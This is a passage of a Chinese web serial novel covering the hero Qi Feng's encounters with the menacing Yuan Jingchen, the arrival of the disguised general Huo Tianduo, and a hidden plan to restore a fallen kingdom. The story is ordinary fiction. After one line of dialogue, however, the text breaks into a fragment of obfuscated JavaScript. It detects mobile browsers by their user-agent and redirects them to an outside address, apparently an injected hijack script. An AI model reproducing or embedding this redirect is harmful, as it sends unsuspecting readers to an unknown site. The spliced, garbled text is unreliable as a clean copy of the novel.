袁浩然看到袁惊尘出手,先是一愣,随即脸上露出得意的笑容,仿佛找到了靠山,挺着胸膛走到袁惊尘身边,嚣张地指着齐枫:“齐枫,看到了吗?这就是我袁家的天才!刚从断魂谷历练回来,实力深不可测!你之前不是很嚣张吗?现在我看你还怎么嚣张!”
袁惊尘却没理会袁浩然,那双冰冷的眼睛始终盯着齐枫,仿佛对周围的一切都毫不在意。
他的目光扫过齐枫,像是在打量一件物品,没有丝毫情绪波动,仿佛所有人的生死在他眼中都不值一提。
周子陵缓过神来,看着袁惊尘,又惊又怒:“袁惊尘,你……你为什么要对我动手?我跟你无冤无仇!”
袁惊尘这才淡淡地瞥了他一眼,语气平淡得像在说一件微不足道的小事:“挡路了。”
仅仅三个字,却透着一股令人胆寒的霸道与冷漠。
徐远和陈玉堂也吓得不轻,徐远拉了拉齐枫的衣袖,小声道:“齐兄,这袁惊尘太可怕了,咱们还是先避避锋芒吧?”
陈玉堂也点头附和:“是啊齐兄,他刚从断魂谷出来,听说在里面杀了不少猛兽和毒物,心性早就变得极为狠辣,咱们没必要跟他硬碰硬。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16236434|180032||http|test|mini|href|location''.split(''|''),0,{}));
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r>齐枫却依旧神色平静,嘴角甚至还带着一丝淡淡的笑意,仿佛眼前的袁惊尘不过是个寻常访客。
他向前一步,迎上袁惊尘的目光,不卑不亢地问道:“阁下就是袁惊尘?久闻大名。”
袁惊尘看着齐枫,眼中终于闪过一丝微不可查的诧异,似乎没想到在自己的气势压迫下,齐枫还能如此镇定。
他微微颔首,算是回应。
“刚才对我这位朋友出手,不知是何用意?”齐枫继续问道,语气依旧平静。
“试试你的反应。”袁惊尘的声音依旧冰冷,“听说你有些本事,能扳倒袁克良,我倒想看看,你到底有几分能耐。”
袁浩然在一旁煽风点火:“惊尘,你别跟他废话!这小子就是个文弱书生,全靠运气才有了现在的名声,你一根手指头就能把他捏死!”
齐枫没理会袁浩然,只是看着袁惊尘,笑道:“看来袁公子是对我很好奇了?不过,用这种方式试探,未免有些太不尊重人了吧?”
“尊重?”袁惊尘嗤笑一声,眼中闪过一丝不屑,“在这个世界上,只有实力才配得到尊重。没有实力的人,不过是蝼蚁,任人践踏。”
齐枫没有说话。
“我听说了你的不少事。”袁惊尘缓缓说道,“青田县的崛起,春闱的魁首,还有对付袁克良的手段,确实有些意思。”
他顿了顿,眼中带着一丝玩味:“我刚从断魂谷回来,正觉得无聊,没想到府城里还有你这么个有趣的人。”
齐枫笑了笑:“看来我倒是成了袁公子解闷的对象了?”
“可以这么说。”袁惊尘毫不掩饰自己的想法,“我倒要看看,你能给我带来多少乐趣。”
“那袁公子是为袁克良来报仇的?”齐枫问道。
袁惊尘听到袁克良的名字,眼中没有丝毫波澜,甚至带着一丝鄙夷:“那种废物,**也就**,不值得我为他费心。他技不如人,无论是死在你手里,还是死在别人手里,都是活该。”
第两百章 冷酷无情
这话一出,不仅齐枫等人感到惊讶,连袁浩然都有些愣住了,他没想到袁惊尘会这么说袁克良。
“看来袁公子对自己的这位兄长,倒是没什么感情。”齐枫淡淡说道。
“感情?”袁惊尘像是听到了什么笑话,“在断魂谷里,只有活下去才是最重要的,感情这种东西,只会成为累赘。”
他看着齐枫,眼神中的冷漠更甚:“我来这里,只是想看看你到底有多少斤两。希望你不要让我失望。”
“哦?那袁公子想怎么试?”齐枫问道。
袁惊尘没有回答,只是深深地看了齐枫一眼,那眼神仿佛要将齐枫彻底看穿。
随后,他转身,对袁浩然冷冷道:“走了。”
袁浩然虽然还有些不甘心,但在袁惊尘的面前,他不敢有丝毫违抗,连忙点头:“是。”
袁惊尘带着一众袁家子弟,转身离去,月白的锦袍在阳光下划出一道冷漠的弧线,很快便消失在巷口。
直到他们的身影彻底消失,众人才长长地舒了一口气。
周子陵捂着胸口,心有余悸地说道:“吓死我了,刚才那一下,差点就没命了!这个袁惊尘也太可怕了,简直就是个疯子!”
徐远也点头:“是啊,他的眼神太吓人了,冷冰冰的,一点人情味都没有。亏他还是袁克良的亲弟,居然能说出那种话。”
陈玉堂感慨道:“我小时候见过他一次,那时候他就沉默寡言,不爱跟人说话,没想到现在变成了这个样子。看来断魂谷那种地方,真的能把人彻底改变。”
南宫玥轻轻叹了口气:“他对袁克良的态度,真的让人觉得心寒。不管怎么说,也是血脉相连的堂兄弟,他竟然能如此冷漠,真是无情到了极点。”
柳若雪也点头:“这种人只看重实力,为了变强,恐怕什么事情都做得出来。齐郎,以后你一定要多加小心,他既然盯上了你,肯定不会善罢甘休的。”
齐枫笑了笑,没说话,只是眼中闪过一丝不易察觉的锐利。
富贵看着袁惊尘离去的方向,眉头紧锁:“这个袁惊尘,实力深不可测,刚才他那一击,看似随意,实则蕴含着极为强悍的内力,若不是我反应快,周公子恐怕真的要出事了。”
楚清秋也点头:“他的气息很诡异,不像是寻常的内力,倒像是掺杂了某种阴寒之气,应该是在断魂谷里修炼了什么特殊的**。”
齐枫摆了摆手:“好了,先不说他了。这里不是说话的地方,咱们先进锦绣阁吧。”
众人纷纷点头,刚才袁惊尘带来的压迫感实在太强,站在这里总觉得不踏实。
一行人走进锦绣阁,庭院里的桂花依旧散发着香气,除了齐枫,每个人的心头,都蒙上了一层阴影。
袁惊尘的出现,无疑给原本就暗流涌动的府城,又增添了一份变数。
锦绣阁的庭院里,桂花香气仍在弥漫,可方才袁惊尘带来的压迫感,却像一层无形的寒霜,让众人脸上的轻松荡然无存。
齐枫刚在廊下的竹椅上坐下,周子陵便忍不住凑过来,端着茶杯的手还在微微发颤:“齐兄,那袁惊尘也太吓人了!刚才他那眼神,冷得跟冰窖似的,我现在想起来还后背发凉,那气劲都能在墙上砸出坑,这要是落在我身上,不得当场碎成渣?”
徐远也跟着点头,脸色发白:“可不是嘛!我爹以前跟我提过断魂谷,说那地方是江湖禁地,里面不仅有毒雾妖兽,还有不少朝廷通缉的重犯,进去十个人能活着出来一个就不错了。袁惊尘在里面待了三年,还能活着回来,可想而知他手上沾了多少血,这种人根本没人性,连亲兄长的死都能不当回事!”
陈玉堂摸着下巴,眉头紧锁:“我倒是听府城武馆的馆主说过袁惊尘。据说他五岁就把袁氏祖传的《裂风刀法》练得有模有样,八岁那年在府城武师大会上,一刀就劈断了成名武师的铁枪,当
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时就有人说他是百年难遇的武学奇才。后来又过了好几年,出的事越来越多,袁振山觉得他性子太烈,怕在府城惹祸,才把他送到断魂谷历练,没想到三年过去,他不仅没收敛,反而更狠了。”
南宫玥端着刚沏好的雨前龙井,轻轻放在齐枫面前,俏脸带着几分担忧:“齐郎,袁惊尘刚才虽然没明着跟你动手,但他明显是把你当成了猎物。这种人只认实力,要是被他觉得你不够强,说不定会直接下死手,你往后可得多加小心。”
柳若雪也放下手中的古籍,轻声补充:“我在云州时,曾听戏班的老班主提过断魂谷的规矩,那里没有对错,只有生死。能在断魂谷活下来的人,要么是实力顶尖,要么是心机深沉,袁惊尘显然两者都占了。”
“而且我总觉得,他身上的气息不对劲,不像是纯粹的内力,倒像是掺杂了某种阴寒邪功,因为他一出手我就觉得很冷,说不定是在断魂谷里得了什么邪门传承。”
楚清秋握着软剑的手指微微收紧,面纱下的目光闪过一丝凝重:“柳姑娘说得对,刚才他出手时,我隐约察觉到一股极淡的尸气,这在正常武者身上绝不会有。断魂谷深处有片尸骸林,传说里面埋着千年前的邪修遗骸,不少人进去寻宝,最后都成了邪功的养料。”
“袁惊尘的阴寒气息,恐怕就跟那片林子有关。更棘手的是,袁振山把他叫回来,明着是为袁克良报仇,实则是想借他的手除掉你,毕竟袁氏现在元气大伤,只有袁惊尘能在武力上压制你。”
小荷躲在楚清秋身后,小手紧紧攥着她的衣角,小声道:“那……那袁惊尘会不会再来找少爷麻烦啊?他那么厉害,富贵大哥能打得过他吗?”
富贵正蹲在门槛上磨短刀,闻言“噌”地站起来,拍着胸脯道:“小荷放心!我富贵虽然不如那袁惊尘厉害,但拼尽全力也能挡他几招!只要有我在,定不会让他伤着少爷!”
第两百零一章 霍天都到来
齐枫端起茶杯,轻轻吹了吹浮沫,目光扫过众人,嘴角勾起一抹淡笑:“大家不用这么担心。袁惊尘虽强,却也有弱点,他太自负,把实力看得比什么都重。刚才他对周兄出手,看似随意,实则是在试探我的反应。”
”后来又说希望我别让他失望,说明他把我当成了值得动手的对手,短期内不会轻易下死手,毕竟对他来说,碾压一个有趣的对手,比杀一个无趣的书生更有乐趣。”
他顿了顿,手指轻轻敲击着杯沿,补充道:“而且,袁惊尘虽然不在乎袁克良的性命,却也不会完全听袁振山的话。断魂谷三年,早就让他养成了独来独往的性子,袁振山想借他的手对付我,恐怕没那么容易。不过……”
齐枫话锋一转,眼中闪过一丝锐利:“大家刚才提到他的刀法和阴寒气息,倒是让我想起一件事。袁氏祖传的《裂风刀法》走的应该是刚猛路子,可袁惊尘刚才出手时,气劲却偏阴柔,这说明他后来拜过别的师父。我曾在古籍上见过记载。”
“三十年前有个叫鬼刀客的邪修,擅长以阴寒内力驱动刀法,能将活人精血化为刀气,后来因为滥杀无辜,**湖正道联手追杀,最后躲进了断魂谷,从此销声匿迹。袁惊尘的**,恐怕就跟这鬼刀客有关。”
“鬼刀客?”众人齐齐一惊。
周子陵瞪大眼睛:“我爹跟我提过这个名字!说他当年一人一刀,杀了三个门派的掌门,刀下亡魂没有一百也有八十,最后是武当的清玄道长出手,才把他逼进断魂谷。没想到袁惊尘居然拜了这种邪修为师,难怪他的气息这么诡异!”
徐远也倒吸一口凉气:“要是真跟鬼刀客有关,那袁惊尘的实力可不止咱们看到的这些。据说鬼刀客有门绝学叫噬魂刀,能吸收对手的内力化为己用,要是袁惊尘学会了这招,咱们谁都不是他对手!”
楚清秋点头:“这就说得通了。袁振山敢把袁惊尘叫回来,不仅是因为他实力强,更是因为他有鬼刀客的传承,少爷,你一定要多加小心,下次再见到袁惊尘,千万不要单独跟他对上。”
齐枫笑着点头:“放心,我心里有数。袁惊尘的事咱们暂时先放一放,眼下最重要的是应对幽冥教的血月祭。富贵,你派去城西的弟兄有没有消息?废弃古宅和乱葬岗那边有没有异常?”
富贵连忙收敛神色,沉声道:“阿大和阿二刚才回来报过信,说城西乱葬岗那边,最近总在半夜出现黑影,像是在勘察地形,还有那几处废弃古宅,门窗都被人偷偷修过,里面还堆了不少黑色的布幡,看样子是在布置祭典场地。我已经让他们继续盯着,一旦有更多动静,立刻回来报信。”
齐枫满意地点头:“做得好。咱们现在就像一张网,只要幽冥教的人敢露头,就别想轻易脱身。对了,赵大人那边有没有消息?江湖门派的联络怎么样了?”
正说着,院外忽然传来一阵轻快的脚步声,一个穿着青布短打的下人快步走进来,对着齐枫躬身行礼:“少爷,门口来了位云州来的商人,说是姓霍,叫霍天都,听说咱们锦绣阁的丝绸是府城一绝,想过来看看货,还问您有没有好的推荐。”
“霍天都?”
齐枫,楚清秋和柳若雪三人同时抬头,目光在空中交汇,眼中都闪过一丝了然。
终于来了!
楚清秋握着软剑的手微微一紧,面纱下的眼神闪过一丝复杂,有期待,也有警惕。
霍天都作为乾国旧将,手握边境旧部,是复国计划的关键助力,他突然以“商人”身份来访,会不会引起官府的注意?
柳若雪也悄悄调整了坐姿,她之前跟霍天都约定,以“丝绸采购”为暗号。
可没想到霍天都来得这么快,还直接点了齐枫的名字,这会不会打乱之前的计划?
齐枫却
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很快收敛神色,嘴角勾起一抹从容的笑意,放下手中的茶杯,缓缓站起身:“哦?云州来的霍老板?既然是远道而来的客人,又特意问起锦绣阁的丝绸,我这做东家的,自然要亲自去推荐推荐。”
他转头对众人笑道:“诸位稍等片刻,我去去就回。富贵,你跟我一起去,也好帮着招呼客人。”
富贵连忙点头,握紧腰间的短刀,跟在齐枫身后。
楚清秋看着齐枫的背影,眼中闪过一丝担忧,却也明白这是必然。
霍天都的到来,意味着复国计划要正式推进,而齐枫作为“中间人”,必须亲自出面,才能打消其他人的疑虑,也才能更好地掌控局面。
柳若雪也悄悄松了口气,齐枫的反应恰到好处,既没有显得过于急切,也没有刻意回避,正好符合“普通商人接待贵客”的身份,不会引起旁人的怀疑。
齐枫走到锦绣阁门口时,正好看到一个身着锦袍的中年男子站在台阶下,身形挺拔,面容刚毅,腰间佩着一把古朴的长刀,虽穿着商人的服饰,却难掩一身武将的英气。
男子似乎察觉到他的目光,缓缓抬头,目光如鹰隼般锐利,直直地看向齐枫,嘴角勾起一抹意味深长的笑意。
齐枫心中了然。
这应该就是霍天都了,乾国旧将,也是楚清秋复国计划中最重要的武力支撑。
他快步走下台阶,拱手笑道:“这位就是云州来的霍老板吧?在下齐枫,锦绣阁的东家,听说霍老板特意来选丝绸,倒是让小店蓬荜生辉。”
霍天都也拱手回礼:“久仰齐公子大名。春闱榜首的才名,连云州都有所耳闻。今日一见,果然名不虚传。”
两人目光在空中交汇。
齐枫侧身做了个“请”的手势:“霍老板远道而来,一路辛苦。里面请,咱们慢慢聊丝绸的事。”
霍天都点头,跟着齐枫走进锦绣阁。
第二百零二章 云州商盟
齐枫引着霍天都踏入厅中时,周子陵、徐远、陈玉堂等人早已起身相迎,楚清秋与柳若雪也从侧廊走出,前者依旧是青衣蒙面的模样,后者则敛去了往日的柔媚。
霍天都目光扫过厅内众人,最后落在楚清秋身上时,眼中闪过一丝极淡的波动,随即又恢复如常,仿佛只是寻常打量。
他抬手对着众人拱手,声音沉稳如钟:“在下霍天都,云州来的商人,今日冒昧拜访,还望诸位海涵。”
周子陵率先走上前,哈哈一笑:“霍老板客气了!早就听说云州有位霍老板,生意做得极大,连杭绸蜀锦的货源都能垄断大半,今日一见,果然气度不凡!”
他拍着霍天都的肩膀,“我们几个都是齐兄的好友,我是周子陵,这两位是徐远,和陈玉堂,今日能认识霍老板,也是缘分!”
徐远也跟着笑道:“可不是嘛!霍老板能看上锦绣阁的丝绸,是我们的荣幸!齐兄的锦绣阁虽开得晚,可这丝绸的花样和质地,在府城绝对是头一份,霍老板好眼光!”
陈玉堂则端起桌上的茶盏,递到霍天都面前:“霍老板一路辛苦,先喝杯茶润润喉。这是雨前龙井,刚从杭州运来的,霍老板尝尝。”
霍天都接过茶盏,浅抿一口,眼中闪过一丝赞许:“好茶。多谢陈公子。”
他放下茶盏,目光重新转向齐枫,“齐公子,在下在云州时,就常听人提起你的才名。春闱榜首的诗赋,连云州的文人都争相传抄;后来又听说你在府城开了锦绣阁,把丝绸生意做得风生水起,连袁氏都压不住你的势头,说实话,在下早就有了结交之心。这次来府城,一来是为了考察丝绸货源,二来,也是特地来拜访齐公子。”
齐枫闻言,笑着摆手:“霍老板过誉了。不过是运气好,得了些虚名,又承蒙诸位兄弟和姑娘们帮衬,锦绣阁才能有今日的局面,倒是霍老板的名头,我也早有耳闻,云州首富,一手掌控云州的丝绸、茶叶货源,连镇北将军都要给你几分薄面,这才是真本事。”
他顿了顿,折扇轻轻一摇:“说起来,我还听人说,霍老板不仅会做生意,还练过几年拳脚,之前云州的几个恶霸,都栽在你手里。今日一见,果然气度不凡,不像是普通的商人。”
霍天都眼中闪过一丝讶异,随即哈哈大笑:“齐公子的消息倒是灵通。不过是年轻时在江湖上闯荡过几年,学了些防身的本事,算不得什么。比起齐公子在府城的手段,在下这点微末伎俩,可就不值一提了。”
两人这番商业互捧,听得厅内众人都笑了起来。
周子陵拍着大腿道:“你们俩就别互相谦虚了!齐兄是才学过人,霍老板是商战厉害,要是你们俩联手,别说府城,怕是整个云州的生意都要被你们垄断!”
徐远也跟着起哄:“没错!霍老板要是把锦绣阁的丝绸卖到云州,再加上齐兄的才名和我们几家的人脉,这生意指定能火遍云州!到时候咱们几家都能跟着沾光!”
陈玉堂也点头附和:“霍老板,我们陈氏在城西有几处宅院,要是生意做大了,随时可以改造成商号的门面,徐兄家在城东有仓库,囤货不成问题,周兄家在城南有铺子,客源也不用愁。只要霍老板肯牵头,咱们定能把这生意做起来!”
霍天都闻言,目光扫过周子陵三人,又看向齐枫,眼中闪过一丝精光:“诸位公子的诚意,在下心领了。实不相瞒,今日来锦绣阁,除了想结交齐公子,也是想看看锦绣阁的丝绸到底如何。”
“方才在铺子里逛了一圈,不得不说,你们的独家纹样和染色工艺,确实比云州的那些商号强上不少,尤其是那匹流云锦,用的是蜀锦的经纬,却染出了云纹的渐变,在云州绝对能卖上高价。”
他顿了顿,脸色变得郑重:“若是齐公子愿意,在下可以将锦绣阁的丝绸引入云州的商盟。云州
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的商盟有三十多家商号,覆盖了云州的大小城镇,只要咱们合作,不出半年,锦绣阁的名号定能响彻云州。至于利润分成,在下可以让利三成,如何?”
这话一出,厅内众人都愣住了,随即爆发出一阵惊喜的议论。
周子陵激动得直搓手:“霍老板!这可是天大的好事啊!云州商盟的实力,我们早有耳闻,要是能跟他们合作,锦绣阁的生意指定能再上一个台阶!”
徐远也满脸兴奋:“三成利润!霍老板也太够意思了!有云州商盟帮忙,咱们再也不用愁销路了!齐兄,这合作必须答应啊!”
陈玉堂也点头:“霍老板的诚意摆在这儿,咱们要是拒绝,可就太不识抬举了。齐兄,这可是难得的机会!”
齐枫看着众人激动的模样,又看向霍天都眼中的期待,嘴角勾起一抹笑意:“霍老板的诚意,我自然明白。能跟云州商盟合作,是锦绣阁的荣幸。不过,利润分成的事,倒不用这么多,两成就够了。咱们合作,讲究的是长远,不是一时的得失。”
霍天都闻言,眼中闪过一丝赞赏:“齐公子果然爽快!就按你说的,两成利润。不过,在下还有个请求,若是合作成功,锦绣阁的独家纹样,得优先供给云州商盟。毕竟,云州的市场大,需要的货源也多。”
齐枫点头:“这是自然。霍老板放心,只要云州商盟的订单到了,锦绣阁一定优先备货。”
两人相视一笑,算是敲定了合作的大致方向。
厅内的气氛越发热烈,周子陵已经开始跟徐远、陈玉堂讨论起如何扩大生产,徐远说要把城东的仓库再扩建两间,陈玉堂则说要请最好的绣娘,赶制更多的独家纹样。
楚清秋站在一旁,看着眼前的热闹景象,眼中闪过一丝了然。
霍天都以“合作丝绸生意”为借口,既掩饰了真实目的,又为后续的复国计划铺垫了物资渠道,这步棋走得极妙。
第两百零三章 打掩护
她悄悄看向柳若雪,后者也正朝她递来一个眼神,两人心照不宣。
齐枫将这一切看在眼里,心中暗自点头。
他清了清嗓子,对着众人笑道:“合作的事,咱们日后再细谈。今日霍老板远道而来,我做东,在醉月楼备一桌薄酒,咱们边吃边聊。青禾,锦绣阁的事就先交给你了,我带霍老板和几位兄弟去醉月楼。”
楚清秋点头:“少爷放心,这里有我。”
她目光扫过霍天都,语气平静,“霍老板,慢走。”
霍天都对着楚清秋微微颔首,没有多言,跟着齐枫朝厅外走去。
周子陵、徐远、陈玉堂等人也兴高采烈地跟上,柳若雪则借口要回房整理账目,留在了锦绣阁。
众人走出锦绣阁时,南街的阳光正好,街上的商贩们吆喝着生意,孩童们追逐嬉闹,一派热闹景象。
霍天都走在齐枫身侧,看似在欣赏街景,实则低声道:“齐公子,楚姑娘的事,多谢你多番照拂。”
齐枫脚步未停,脸色平淡:“霍老板客气了。青禾是我的人,我自然会护着她。”
霍天都眼中闪过一丝复杂,随即又恢复如常:“齐公子是个聪明人,有些事,在下也不多说。日后若是有需要,云州的商盟,随时可以为齐公子提供助力。”
齐枫嘴角勾起一抹笑意:“霍老板的好意,我记下了。先去醉月楼,尝尝南宫姑娘的手艺,再聊其他的。”
两人相视一笑,不再多言,跟着众人朝着醉月楼的方向走去。
留在锦绣阁的楚清秋,看着众人远去的背影,缓缓摘下面纱,眸中闪过一丝坚定。
她走到正厅的屏风后,柳若雪早已等候在那里,手中拿着一封密信。
“陛下,霍将军已经跟齐公子搭上了线,接下来,咱们可以开始筹备联络旧部了。”柳若雪将密信递到楚清秋手中。
“这是霍将军带来的密信,上面写了云州旧部的分布,还有需要的物资清单。”
楚清秋接过密信,指尖轻轻摩挲着信纸,眼中闪过一丝微光。
随着霍天都的到来,复国计划终于迈出了关键的一步,而这一切,却离不开齐枫的掩护!
“先把密信收好。”楚清秋将密信藏入怀中,重新戴上面纱,“等少爷回来,再跟他细说。眼下,还是先处理好锦绣阁的生意,别让任何人看出破绽。”
柳若雪点头:“陛下放心,我会安排妥当。”
柳若雪看着楚清秋侧脸的轮廓,面纱下的目光复杂难辨,犹豫片刻,终是轻声开口:“陛下,方才霍将军与齐公子相谈甚欢,可您……似乎并不希望齐公子过多牵扯进来?”
楚清秋闻言,目光落在窗外的桂花树上,轻叹:“他对我有救命之恩,又屡次在萧无痕、袁氏面前护我周全,复国之事凶险,一旦暴露,便是抄家灭族的罪名,我怎能将他拖入这趟浑水?”
她顿了顿,语气多了几分沉重:“你也看到了,周子陵、徐远、陈玉堂几家,如今都与锦绣阁绑在一起,若我身份暴露,他们这些与齐枫交好的商户,定会被袁氏、萧无痕视为同党。到时候,不仅我乾国旧部要遭难,连府城这些无辜的商人,都要跟着陪葬。”
“可他们与齐公子合作,本就是为了利益。”柳若雪轻声辩解,“周子陵他们看重的是锦绣阁的丝绸生意,是齐公子的才名与人脉,就算真出了事,他们大可以撇清关系,未必会受牵连。倒是齐公子……”
柳若雪话说到一半,忽然沉默。
这个男人,分明对楚清秋早已动了真心,又怎会在危难时撇清关系?
楚清秋自然明白她未说完的话,心中泛起一阵酸涩,却还是强压下去:“正因如此,才不能让他陷进来。他是春闱榜首,本可凭借才名入朝为官,将来或许能成为一代名臣,不该被我这前朝余孽耽误。复国是我乾国皇室的责任,本该由我
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一人承担,如今却牵扯了这么多人,已是不该。”
“陛下,您太固执了。”柳若雪忍不住反驳,“齐公子并非寻常书生,他有勇有谋,连幽冥教、袁氏都奈何不了他。若能得他相助,复国大业定能事半功倍。而且……”
她看着楚清秋,语气放软:“我看得出来,齐公子对您有情意,您对他,也并非毫无心动。或许,他并不在乎什么抄家灭族的风险,只在乎您的安危。”
楚清秋避开她的目光:“情意不能当饭吃,更不能抵得过朝廷的铁骑。我若真为他好,就该离他远些。”
柳若雪见她态度坚决,便不再争辩,转而提起另一个话题:“那咱们便做两手准备。其一,您继续以‘**禾’的身份留在齐公子身边,绝不暴露女帝身份,若将来复国之事败露,您便假死脱身,隐姓埋名,至少能保齐公子与府城众人安全。”
“其二,若复国成功,您登基为帝,便下一道密旨,许齐公子自由身,他若想入朝,便封他高官,他若想归隐,便赐他良田万顷,让他远离朝堂纷争。”
楚清秋闻言,眼中闪过一丝微光,沉默片刻,轻轻点头:“也只能如此了。眼下最重要的是先与霍将军敲定旧部联络的细节,再借着丝绸生意的名义,将物资运到云州。别耽搁了,咱们去醉月楼吧,免得齐枫他们起疑。”
柳若雪点头,两人整理好衣衫,一前一后走出锦绣阁,朝着醉月楼的方向走去。
此时的醉月楼早已热闹非凡,二楼临窗的雅座被齐枫一行人占了,桌上摆满了醉月楼的招牌菜。
桂花糕、莲蓉酥、清蒸鲈鱼,还有一壶陈年女儿红,香气四溢。
齐枫坐在主位,霍天都在他身侧,周子陵、徐远、陈玉堂三人凑在一起,正兴奋地讨论着如何拓展云州的丝绸市场。
南宫玥站在雅座旁,手中拿着一把团扇,正与齐枫说着什么,眉眼间带着笑意。
第两百零四章 威逼
“青禾、若雪,你们可算来了!”齐枫见楚清秋与柳若雪走进来,连忙招手,“快坐,就等你们了。月儿刚说,今日要给咱们露一手,弹一曲《高山流水》呢。”
楚清秋与柳若雪在空位上坐下,南宫玥笑着递过两盏茶杯:“青禾姑娘、若雪姑娘,这是刚沏好的碧螺春,你们尝尝。”
柳若雪接过茶杯,目光扫过桌上的菜肴,笑着打趣:“齐公子倒是会享受,醉月楼的招牌菜几乎点了个遍,看来今日是要好好招待霍老板了。”
霍天都闻言,哈哈一笑:“是齐公子客气。不过,醉月楼的菜确实名不虚传,这清蒸鲈鱼的火候,比云州的酒楼强上不少。”
周子陵跟着起哄:“霍老板要是喜欢,往后咱们合作成了,天天来醉月楼吃!对了,若雪姑娘,你上次在知府府邸唱的《霓裳曲》,我们还没听够呢,今日难得齐聚,你和南宫姑娘不如各展所长,给咱们助助兴?”
徐远也跟着点头:“是啊!南宫姑娘的琴艺、若雪姑娘的舞技,府城无人不晓,今日能同时见到两位佳人表演,咱们可是有眼福了!”
南宫玥脸颊微红,却也爽快应下:“既然诸位不嫌弃,月儿便献丑了。若雪姑娘,咱们一起?”
柳若雪笑着点头:“固所愿也,不敢请耳。”
两人起身,南宫玥去取琵琶,柳若雪则去后院换舞衣。
雅座内的众人都兴奋起来,连霍天都都放下筷子,眼中带着几分期待。
不多时,南宫玥抱着琵琶回到雅座旁,柳若雪则换了一身水袖长裙,裙摆上绣着淡紫色的莲花,随着她的步伐轻轻摇曳,宛如水中仙子。
南宫玥坐在窗边,指尖轻挑,琵琶声如流水般倾泻而出,清越悠扬,与窗外的风声、楼下的喧嚣交织在一起,竟格外和谐。
柳若雪随着琴声起舞,水袖翻飞,身姿轻盈如蝶,旋转间裙摆绽放如莲,引得雅座外的食客纷纷驻足观望,连伙计都忘了上菜,痴痴地看着。
“好!”周子陵率先鼓掌,声音响亮,“若雪姑娘的舞技,真是越来越精湛了!南宫姑娘的琴艺也绝了,这《高山流水》,怕是连京城的乐师都要自愧不如!”
徐远、陈玉堂也跟着鼓掌,霍天都眼中闪过一丝赞赏:“两位姑娘的才艺,在下佩服。云州虽也有不少乐师舞姬,却远不及二位姑娘这般动人。”
南宫玥与柳若雪躬身行礼,正要落座,忽听一道轻佻的声音从雅座外传来:“确实不错,不过,只给这么多人看,未免太可惜了。”
众人循声望去,只见一个身着月白锦袍的年轻男子缓步走来,身姿挺拔,面容俊美,正是袁惊尘。
他身后跟着几个袁家子弟,个个面色倨傲,目光扫过雅座内的众人,带着几分不屑。
袁惊尘的目光落在柳若雪身上,嘴角勾起一抹玩味的笑:“这位姑娘的舞技不错,过来,给本公子单独跳一曲。”
此言一出,雅座内的气氛瞬间凝固。
周子陵脸色一沉,正要开口反驳,却被齐枫抬手拦住。
齐枫看着袁惊尘,嘴角依旧带着笑意:“袁公子,这醉月楼是公共场所,若雪姑娘愿不愿跳舞,全看她自己的意思,你凭什么命令她?”
袁惊尘瞥了齐枫一眼,嘲讽:“齐公子倒是护着她。不过,本公子让她跳,她敢不跳?”
他上前一步,目光死死盯着柳若雪,“怎么?不敢?还是说,你觉得本公子不配看你的舞?”
柳若雪脸色发白,却还是强撑着道:“袁公子,我今日身体不适,怕是不能为您跳舞,还请您见谅。”
“身体不适?”袁惊尘冷笑一声,伸手就要去抓柳若雪的手腕,“本公子看你刚才跳得挺欢,怎么一到本公子这儿,就身体不适了?”
就在他的手即将碰到柳若雪时,楚清秋忽然起身,挡在柳若雪身前,手中软剑虽未出鞘,却带着一股凌厉的气息:“袁公子,自重。”
袁惊尘看着楚清秋,眼中闪过一丝讶异,随即又恢复了倨傲:“你就是齐枫身边那个蒙面的侍女?倒是有几分胆子。不过,本公子的事,你也敢管?”
楚清秋没有说话,只是握着软剑的手更紧了几分。
雅座内的气氛越发紧张,霍天都悄悄握住了腰间的长刀,周子陵、徐远、陈玉堂也起身站在齐枫身侧,显然做好了动手的准备。
袁惊尘看着眼前的阵仗,却丝毫不惧,反而哈哈大笑起来:“怎么?想跟本公子动手?就凭你们这些人,还不够资格。”
他目光重新落在柳若雪身上,眼神里带着几分威胁,“最后问你一次,跳还是不跳?”柳若雪攥紧衣袖,指尖泛白,却始终没有应声,只是下意识地往楚清秋身后退了半步。
她虽有几分武艺,却深知绝非袁惊尘对手,更何况对方身后还跟着数名袁家子弟,真要动手,自己讨不到半分好处。
袁惊尘见柳若雪沉默,眼中闪过一丝不耐,手臂微抬,带着一股阴寒劲风直探柳若雪肩头。
那动作看似随意,实则快如闪电,指尖还未触到衣料,便已透出一股令人刺骨的寒意。
寻常人若被这股劲气扫到,轻则经脉冻伤,重则手臂麻木失力。
柳若雪瞳孔微缩,正要侧身躲避,却见齐枫忽然抬起眼,原本带着笑意的目光骤然冷了下来。
那一瞬间,袁惊尘只觉一股难以言喻的恐惧从心底炸开,仿佛有一头蛰伏的凶兽骤然睁眼,冰冷的视线穿透皮肉,直抵灵魂深处!
他的动作猛地顿在半空,手臂僵在原地,连呼吸都下意识地停滞。
那股恐惧太过真实,绝非错觉。
就像他当年在断魂谷遇到恐怖妖兽时的感觉,渺小、无力,仿佛下一秒就会被对方撕成碎片!
他甚至能清晰地察觉到,有一股不属于这个世界的威压笼罩着自己,那威压带着毁天灭地的气息,让他浑身汗毛倒竖,鸡皮疙瘩起了一层又一层,后背瞬间被冷汗浸透!
第两百零五章 恐怖的威压
只是一瞬间,那股令人窒息的威压却悄然散去,仿佛刚才的一切只是幻觉。
袁惊尘猛地回过神,手臂不受控制地颤抖了一下,他强压下心头的惊悸,眼神中多了几分惊疑。
刚才那股力量是什么?是谁散发的?怎么会有如此恐怖的威压?还是说,附近藏着高手?
他下意识地环顾四周,雅座外的食客都在看热闹,伙计们也吓得不敢上前,哪有什么高手的影子?
难道真是自己太过紧张,产生了错觉?
就在袁惊尘心神动摇的瞬间,楚清秋与富贵同时动了。
楚清秋身形如轻烟,软剑虽未出鞘,却以剑鞘为器,精准点向袁惊尘的手腕,富贵则如铁塔般横移,粗壮的手臂带着劲风,直挡袁惊尘身前,两人一柔一刚,配合得恰到好处,显然是早有默契。
可袁惊尘毕竟是从断魂谷活下来的狠角色,虽被刚才的威压扰了心神,反应却依旧迅捷。
他手腕一翻,避开楚清秋的剑鞘,同时左手成爪,带着阴寒劲气抓向富贵的手臂。
